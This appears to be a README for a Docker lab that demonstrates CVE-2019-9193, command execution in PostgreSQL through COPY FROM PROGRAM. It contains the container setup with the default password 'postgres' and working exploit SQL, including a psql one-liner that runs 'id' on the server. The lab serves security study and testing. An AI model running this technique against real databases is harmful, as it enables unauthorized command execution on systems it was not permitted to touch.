corsisechero/cve-2019-9193byvulhubDocker-based lab demonstrating CVE-2019-9193 PostgreSQL arbitrary command execution via COPY FROM PROGRAM, with step-by-step PoC for security testing and education.
PostgreSQL is a powerful open-source relational database management system. A vulnerability present in versions 9.3 through 11 allows administrators or users with COPY TO/FROM PROGRAM privileges to execute arbitrary commands on the system.
docker-compose.ymlCreate a file named docker-compose.yml with the following content:
version: '2'
services:
postgres:
image: vulhub/postgres:10.7
ports:
- "5432:5432"
environment:
- POSTGRES_PASSWORD=postgres
Run the container with the following command:
docker compose up -d
Verify that the container is running:
docker ps
The output should show the PostgreSQL container listening on port 5432.
If you don't have the psql client installed, you can do so with:
apt-get install postgresql-client
Connect to the database directly from Kali:
psql -h localhost -p 5432 -U postgres
You will be prompted for the password, enter:
postgres
Once connected to the PostgreSQL console, execute the following commands to exploit the vulnerability:
-- Drop the table if it exists
DROP TABLE IF EXISTS cmd_exec;
-- Create a new table to store the command output
CREATE TABLE cmd_exec(cmd_output text);
-- Execute the 'id' command via COPY FROM PROGRAM
COPY cmd_exec FROM PROGRAM 'id';
-- View the command output
SELECT * FROM cmd_exec;
You can execute everything directly from the command line:
psql -h localhost -p 5432 -U postgres -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;"
If the exploit succeeded, you should see output similar to:
cmd_output
-------------------------
uid=999(postgres) gid=999(postgres) groups=999(postgres)
(1 row)
Press \q to exit:
\q
This vulnerability allows arbitrary command execution with administrative privileges. Use it only in controlled environments for study or testing purposes. Exploiting this vulnerability on unauthorized systems is illegal.